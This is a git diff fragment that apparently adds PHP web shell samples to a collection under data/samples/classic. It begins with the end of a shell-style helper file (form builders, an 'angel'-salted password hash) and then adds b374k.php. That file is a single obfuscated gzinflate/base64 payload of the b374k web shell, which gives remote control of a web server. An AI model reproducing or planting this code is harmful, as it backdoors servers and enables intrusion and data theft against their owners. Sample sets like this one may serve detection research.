'); +} + +function makehide($name,$value=''){ + p(""); +} + +function makeinput($arg = array()){ + $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; + $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; + !$arg['type'] && $arg['type'] = 'text'; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; + if ($arg['newline']) { + p("

$arg[title]

"); + } else { + p("$arg[title]"); + } +} + +function makeselect($arg = array()){ + if ($arg['onchange']) { + $onchange = 'onchange="'.$arg['onchange'].'"'; + } + $arg['title'] = $arg['title'] ? $arg['title'] : ''; + if ($arg['newline']) p('

'); + p("$arg[title] "); + if ($arg['newline']) p('

'); +} +function formhead($arg = array()) { + global $self; + !$arg['method'] && $arg['method'] = 'post'; + !$arg['action'] && $arg['action'] = $self; + $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; + !$arg['name'] && $arg['name'] = 'form1'; + p("
"); + if ($arg['title']) { + p('

'.$arg['title'].' »

'); + } +} + +function maketext($arg = array()){ + !$arg['cols'] && $arg['cols'] = 100; + !$arg['rows'] && $arg['rows'] = 25; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + p("

$arg[title]

"); +} + +function formfooter($name = ''){ + !$name && $name = 'submit'; + p('

'); + p('
'); +} + +function goback(){ + global $self, $nowpath; + p('

'); +} + +function formfoot(){ + p(''); +} + +function encode_pass($pass) { + $pass = md5('angel'.$pass); + $pass = md5($pass.'angel'); + $pass = md5('angel'.$pass.'angel'); + return $pass; +} + +function pr($s){ + echo "
".print_r($s).'
'; +} + +?> diff --git a/data/samples/classic/b374k.php b/data/samples/classic/b374k.php new file mode 100644 index 0000000..a448645 --- /dev/null +++ b/data/samples/classic/b374k.php @@ -0,0 +1,10 @@ +".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("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